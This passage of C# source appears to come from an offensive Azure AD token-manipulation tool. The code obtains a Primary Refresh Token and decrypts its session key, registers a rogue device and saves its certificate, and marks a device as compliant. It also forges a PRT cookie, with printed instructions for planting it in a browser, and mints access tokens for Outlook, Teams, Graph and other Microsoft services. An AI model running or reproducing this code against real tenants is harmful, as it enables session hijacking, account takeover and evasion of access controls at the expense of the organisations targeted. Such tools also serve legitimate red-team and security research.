(opts.RefreshToken != null) 196 | { 197 | string initToken = Tokenator.GetTokenFromRefreshToken(opts.RefreshToken, opts.Proxy, AzClientIDEnum.AzureMDM, AzResourceEnum.AzureMDM); 198 | string checkAccessToken = JToken.Parse(initToken)["access_token"].ToString(); 199 | string decodedaccesstoken = decoder.Decode(checkAccessToken); 200 | JToken parsedAccessToken = JToken.Parse(decodedaccesstoken); 201 | String aud = parsedAccessToken["aud"].ToString(); 202 | tenantId = parsedAccessToken["tid"].ToString(); 203 | if (aud != AzResourceEnum.AzureMDM) 204 | { 205 | Console.WriteLine("[-] AccessToken does not contain correct Audience..."); 206 | return 1; 207 | } 208 | refreshtoken = opts.RefreshToken; 209 | } 210 | else if (opts.UserName != null && opts.Password != null) 211 | { 212 | String initTokens = Tokenator.GetTokenFromUsernameAndPassword(opts.UserName, opts.Password, opts.Tenant, opts.Proxy, AzClientIDEnum.AzureMDM, AzResourceEnum.AzureMDM); 213 | if (initTokens == null) 214 | { 215 | Console.WriteLine("[-] Authentication failed. Please check used credentials!"); 216 | return 1; 217 | } 218 | JToken parsedInitToken = JToken.Parse(initTokens); 219 | tenantId = Helper.GetTenantFromAccessToken(parsedInitToken["access_token"].ToString()); 220 | refreshtoken = parsedInitToken["refresh_token"].ToString(); 221 | } else 222 | { 223 | Console.WriteLine("[-] For this you need a username and a password"); 224 | Console.WriteLine(""); 225 | return 1; 226 | } 227 | 228 | if (refreshtoken != null && tenantId != null) 229 | { 230 | X509Certificate2 cert = new X509Certificate2(opts.PFXPath, "", X509KeyStorageFlags.Exportable); 231 | var privateKey = cert.GetRSAPrivateKey(); 232 | var x5c = Convert.ToBase64String(cert.Export(X509ContentType.Cert)); 233 | 234 | string nonce = Helper.GetNonce2(opts.Proxy); 235 | 236 | Dictionary headerRaw = new Dictionary 237 | { 238 | { "alg", "RS256" }, 239 | { "typ", "JWT" }, 240 | { "x5c", x5c } 241 | }; 242 | 243 | string headerRawString = JsonConvert.SerializeObject(headerRaw, Formatting.None); 244 | var header = Helper.Base64UrlEncode(System.Text.Encoding.UTF8.GetBytes(headerRawString)); 245 | 246 | Dictionary rawPayload = new Dictionary 247 | { 248 | { "request_nonce", nonce }, 249 | { "scope", "openid aza ugs" }, 250 | { "win_ver", "10.0.18363.0" }, 251 | { "grant_type", "refresh_token" }, 252 | { "refresh_token", refreshtoken }, 253 | { "client_id", AzClientIDEnum.AzureMDM } 254 | 255 | }; 256 | 257 | string rawPayloadString = JsonConvert.SerializeObject(rawPayload, Formatting.None); 258 | var payload = Helper.Base64UrlEncode(System.Text.Encoding.UTF8.GetBytes(rawPayloadString)); 259 | 260 | var dataBin = System.Text.Encoding.UTF8.GetBytes(header + "." + payload); 261 | 262 | var signature = privateKey.SignData(dataBin, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1); 263 | var signatureb64 = Helper.Base64UrlEncode(signature); 264 | 265 | var JWT = header + "." + payload + "." + signatureb64; 266 | 267 | var formContent = new FormUrlEncodedContent(new[] 268 | { 269 | new KeyValuePair("windows_api_version", "2.0"), 270 | new KeyValuePair("grant_type", "urn:ietf:params:oauth:grant-type:jwt-bearer"), 271 | new KeyValuePair("request", JWT), 272 | new KeyValuePair("client_info", "2") 273 | }); 274 | 275 | string result = Helper.PostToTokenEndpoint(formContent, opts.Proxy, tenantId); 276 | JToken parsedResult = JToken.Parse(result); 277 | 278 | if (parsedResult["refresh_token"] != null && parsedResult["session_key_jwe"] != null) 279 | { 280 | string PRT = parsedResult["refresh_token"].ToString(); 281 | string JWE = parsedResult["session_key_jwe"].ToString(); 282 | string[] JWESplitted = JWE.Split("."); 283 | byte[] encKey = Helper.Base64Decode(JWESplitted[1]); 284 | var formatter = new System.Security.Cryptography.RSAOAEPKeyExchangeDeformatter(privateKey); 285 | var dekey = formatter.DecryptKeyExchange(encKey); 286 | string decryptionKey = Convert.ToBase64String(dekey); 287 | 288 | Console.WriteLine(); 289 | Console.WriteLine("[+] Here is your PRT:"); 290 | Console.WriteLine(); 291 | Console.WriteLine(Convert.ToBase64String(Encoding.ASCII.GetBytes(PRT))); 292 | Console.WriteLine(); 293 | Console.WriteLine("[+] Here is your session key:"); 294 | Console.WriteLine(); 295 | Console.WriteLine(decryptionKey); 296 | Console.WriteLine(""); 297 | 298 | return 0; 299 | } 300 | else if (parsedResult["error_description"] != null) 301 | { 302 | Console.WriteLine(); 303 | Console.WriteLine("[-] Something went wrong:"); 304 | Console.WriteLine(); 305 | Console.WriteLine(parsedResult["error_description"].ToString()); 306 | Console.WriteLine(""); 307 | return 1; 308 | }else 309 | { 310 | Console.WriteLine(); 311 | Console.WriteLine("[-] Something went completly wrong... sorry"); 312 | Console.WriteLine(); 313 | 314 | return 1; 315 | } 316 | } 317 | else 318 | { 319 | Console.WriteLine(); 320 | Console.WriteLine("[-] Something went completly wrong... sorry"); 321 | Console.WriteLine(); 322 | return 1; 323 | } 324 | } 325 | 326 | static int RunDevice(DeviceOptions opts) 327 | { 328 | String accesstoken = null; 329 | String upn = null; 330 | string tenantId = null; 331 | var serializer = new JsonNetSerializer(); 332 | var urlEncoder = new JwtBase64UrlEncoder(); 333 | var decoder = new JwtDecoder(serializer, urlEncoder); 334 | if (opts.JoinDevice) { 335 | if (opts.DeviceName != null) 336 | { 337 | if (opts.AccessToken != null) 338 | { 339 | 340 | string decodedaccesstoken = decoder.Decode(opts.AccessToken); 341 | JToken parsedAccessToken = JToken.Parse(decodedaccesstoken); 342 | String aud = parsedAccessToken["aud"].ToString(); 343 | tenantId = parsedAccessToken["tid"].ToString(); 344 | upn = parsedAccessToken["upn"].ToString(); 345 | if (aud != AzClientIDEnum.DeviceMgmt) 346 | { 347 | Console.WriteLine("AccessToken does not contain correct Audience..."); 348 | return 1; 349 | } 350 | accesstoken = opts.AccessToken; 351 | } 352 | else 353 | { 354 | String initTokens = Tokenator.GetTokenFromUsernameAndPassword(opts.UserName, opts.Password, opts.Tenant, opts.Proxy); 355 | if (initTokens == null) 356 | { 357 | Console.WriteLine("[-] Authentication failed! "); 358 | return 1; 359 | } 360 | JToken parsedInitToken = JToken.Parse(initTokens); 361 | if (parsedInitToken["error"] != null) 362 | { 363 | Console.WriteLine("[-] Something went wrong!"); 364 | Console.WriteLine(""); 365 | var beautified = parsedInitToken.ToString(Formatting.Indented); 366 | Console.WriteLine(beautified); 367 | Console.WriteLine(""); 368 | Console.WriteLine("[-] Good bye!"); 369 | return 1; 370 | } 371 | String initAccesstoken = decoder.Decode(parsedInitToken["access_token"].ToString()); 372 | String refreshtoken = parsedInitToken["refresh_token"].ToString(); 373 | var parsedInitAccessToken = JToken.Parse(initAccesstoken); 374 | tenantId = parsedInitAccessToken["tid"].ToString(); 375 | upn = parsedInitAccessToken["upn"].ToString(); 376 | // Resource ID must have the value 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 377 | string tokenForDevMgmt = Tokenator.GetTokenFromRefreshTokenToTenant(refreshtoken, tenantId, opts.Proxy, resourceID: "01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9"); 378 | JToken parsedTokenForDevMgmt = JToken.Parse(tokenForDevMgmt); 379 | accesstoken = parsedTokenForDevMgmt["access_token"].ToString(); 380 | } 381 | if (accesstoken != null && upn != null && tenantId != null) 382 | { 383 | 384 | // https://github.com/Gerenios/AADInternals/blob/23831d5af045eeaa199ab098d29df9d4a60f460e/PRT_Utils.ps1#L95 385 | RSACng rsa = new RSACng(2048); 386 | string CN = "CN=7E980AD9-B86D-4306-9425-9AC066FB014A"; 387 | CertificateRequest req = new System.Security.Cryptography.X509Certificates.CertificateRequest(CN, rsa, System.Security.Cryptography.HashAlgorithmName.SHA256, System.Security.Cryptography.RSASignaturePadding.Pkcs1); 388 | var crs = Convert.ToBase64String(req.CreateSigningRequest()); 389 | var transportKey = Convert.ToBase64String(rsa.Key.Export(CngKeyBlobFormat.GenericPublicBlob)); 390 | var responseJoinDevice = MEManager.addNewDeviceToAzure(opts.Proxy, accesstoken, crs, transportKey, upn.Split("@")[1], opts.DeviceName, opts.RegisterDevice); 391 | byte[] binCert = Convert.FromBase64String(responseJoinDevice.Certificate.RawBody.ToString()); 392 | X509Certificate2 cert = new X509Certificate2(binCert, "", X509KeyStorageFlags.UserKeySet | X509KeyStorageFlags.Exportable); 393 | 394 | string deviceId = cert.Subject.Split("=")[1]; 395 | Console.WriteLine("[+]Device successfull added to Azure"); 396 | Console.WriteLine(""); 397 | Console.WriteLine("[+] The deviceId is: " + deviceId); 398 | Console.WriteLine(""); 399 | Console.WriteLine(JToken.FromObject(responseJoinDevice).ToString(Formatting.Indented)); 400 | Console.WriteLine(""); 401 | 402 | // https://github.com/dotnet/runtime/issues/19581 403 | var keyPair = cert.CopyWithPrivateKey(rsa); 404 | byte[] certData = keyPair.Export(X509ContentType.Pfx, ""); 405 | File.WriteAllBytes(deviceId + ".pfx", certData); 406 | 407 | Console.WriteLine("Device Certificate written to " + deviceId + ".pfx"); 408 | Console.WriteLine(""); 409 | return 0; 410 | } 411 | } 412 | else 413 | { 414 | Console.WriteLine("[-] You must set a device name (--devicename)."); 415 | return 1; 416 | } 417 | }else if (opts.MarkCompliant) 418 | { 419 | if (opts.ObjectID != null) 420 | { 421 | if (opts.AccessToken != null) 422 | { 423 | int result = 0; 424 | result = MEManager.MarkDeviceAsCompliant(opts.ObjectID, opts.AccessToken, opts.Proxy); 425 | Console.WriteLine("[+] Responsecode is: " + result.ToString()); 426 | return 0; 427 | } 428 | else 429 | { 430 | Console.WriteLine("[-] This is currently only implemented with --accesstoken, get the correct token with --clientname Graph"); 431 | return 1; 432 | } 433 | } 434 | else 435 | { 436 | Console.WriteLine("[-] You must set an ObjectId id (--objectid)"); 437 | return 1; 438 | } 439 | } 440 | else 441 | { 442 | return 1; 443 | } 444 | 445 | return 1; 446 | } 447 | 448 | static int Error() { 449 | Console.WriteLine("Please specify an action and options!"); 450 | Console.WriteLine(" "); 451 | return 1; 452 | 453 | } 454 | 455 | static int RunNonce(NonceOptions opts) 456 | { 457 | 458 | Console.WriteLine(Helper.getNonce(opts.Proxy)); 459 | Console.WriteLine(""); 460 | return 0; 461 | } 462 | 463 | static int RunCookie(CookieOptions opts) 464 | { 465 | string PRTCookie = null; 466 | if (opts.PRT != null && opts.DerivedKey != null && opts.Context != null) 467 | { 468 | PRTCookie = Helper.createPRTCookie(opts.PRT, opts.Context, opts.DerivedKey, opts.Proxy); 469 | } 470 | else if (opts.PRT != null & opts.SessionKey != null) 471 | { 472 | var context = Helper.GetByteArray(24); 473 | var decodedKey = Helper.Base64Decode(opts.SessionKey); 474 | var derivedKey = Helper.CreateDerivedKey(decodedKey, context); 475 | 476 | var contextHex = Helper.Binary2Hex(context); 477 | var derivedSessionKeyHex = Helper.Binary2Hex(derivedKey); 478 | 479 | PRTCookie = Helper.createPRTCookie(opts.PRT, contextHex, derivedSessionKeyHex, opts.Proxy); 480 | } 481 | else 482 | { 483 | Console.WriteLine("Please set the corect arguments."); 484 | return 1; 485 | } 486 | 487 | Console.WriteLine("[+] Here is your PRT-Cookie:"); 488 | Console.WriteLine(""); 489 | Console.WriteLine(PRTCookie); 490 | Console.WriteLine(""); 491 | Console.WriteLine("[+] You can use it with this tool or add it to a browser."); 492 | Console.WriteLine("[+] Set as cookie \"x-ms-RefreshTokenCredential\" with HTTPOnly flag"); 493 | Console.WriteLine(""); 494 | 495 | return 0; 496 | } 497 | 498 | static int RunUtils(UtilsOptions opts) 499 | { 500 | if (opts.Domain != null) 501 | { 502 | String result = null; 503 | result = Utils.GetTenantIdToDomain(opts.Domain, opts.Proxy); 504 | if (result != null) 505 | { 506 | Console.WriteLine("[+] The TenantID is: " + result); 507 | } 508 | else 509 | { 510 | Console.WriteLine("[-] It seems the domain does not exist."); 511 | } 512 | return 0; 513 | } 514 | return 1; 515 | } 516 | 517 | static int RunToken(TokenOptions opts) 518 | { 519 | String result = null; 520 | if (opts.ClientName == null) { 521 | result = Tokenator.getToken(opts, opts.ClientID, opts.ResourceID); 522 | } else{ 523 | switch (opts.ClientName) 524 | { 525 | case "Outlook": 526 | result = Tokenator.getToken(opts, AzClientIDEnum.Outlook, AzResourceEnum.Outlook); 527 | break; 528 | case "Substrate": 529 | result = Tokenator.getToken(opts, AzClientIDEnum.Substrate, AzResourceEnum.Substrate); 530 | break; 531 | case "Teams": 532 | result = Tokenator.getToken(opts, AzClientIDEnum.Teams, AzResourceEnum.Teams); 533 | break; 534 | case "Graph": 535 | result = Tokenator.getToken(opts, AzClientIDEnum.GraphAPI, AzResourceEnum.GraphAPI); 536 | break; 537 | case "MSGraph": 538 | result = Tokenator.getToken(opts, AzClientIDEnum.MSGraph, AzResourceEnum.MSGraph); 539 | break; 540 | case "Webshell": 541 | result = Tokenator.getToken(opts, AzClientIDEnum.WebShell, AzResourceEnum.WebShell); 542 | break; 543 | case "Core": 544 | result = Tokenator.getToken(opts, AzClientIDEnum.Core, AzResourceEnum.Core); 545 | break; 546 | case "Office": 547 | result = Tokenator.getToken(opts, AzClientIDEnum.OfficeApps, AzResourceEnum.OfficeApps); 548 | break; 549 | case "Intune": 550 | result = Tokenator.getToken(opts, AzClientIDEnum.Intune, AzResourceEnum.Intune); 551 | break; 552 | case "Windows": 553 | result = Tokenator.getToken(opts, AzClientIDEnum.WindowsClient, AzResourceEnum.WindowsClient); 554 | break; 555 | case "AzureMDM": 556 | result = Tokenator.getToken(opts, AzClientIDEnum.AzureMDM, AzResourceEnum.AzureMDM); 557 | break; 558 | default: 559 | Console.WriteLine("[-] Please choose Outlook, Substrate, Teams, Graph, MSGraph, Webshell, Core, Office, Intune, AzureMDM or WinClient"); 560 | return 1; 561 | } 562 | } 563 | if (result != null) 564 | { 565 | var serializer = new JsonNetSerializer(); 566 | var urlEncoder = new JwtBase64UrlEncoder(); 567 | var decoder = new JwtDecoder(serializer, urlEncoder); 568 | JToken parsedJson = JToken.Parse(result); 569 | 570 | if (parsedJson["error"] != null) 571 | { 572 | Console.WriteLine("[-] Something went wrong!"); 573 | Console.WriteLine(""); 574 | 575 | Console.WriteLine(parsedJson["error_description"].ToString()); 576 | Console.WriteLine(""); 577 | return 1; 578 | } 579 | 580 | if (parsedJson["id_token"] != null) 581 | { 582 | var id_token = decoder.Decode(parsedJson["id_token"].ToString()); 583 | var parsedIDToken = JToken.Parse(id_token); 584 | parsedJson["id_token"] = parsedIDToken; 585 | } 586 | 587 | Console.WriteLine("[+] Here is your token:"); 588 | Console.WriteLine(""); 589 | var beautified = parsedJson.ToString(Formatting.Indented); 590 | Console.WriteLine(beautified); 591 | Console.WriteLine(""); 592 | 593 | return 0; 594 | } 595 | return 1; 596 | } 597 | } 598 | } 599 | --------------------------------------------------------------------------------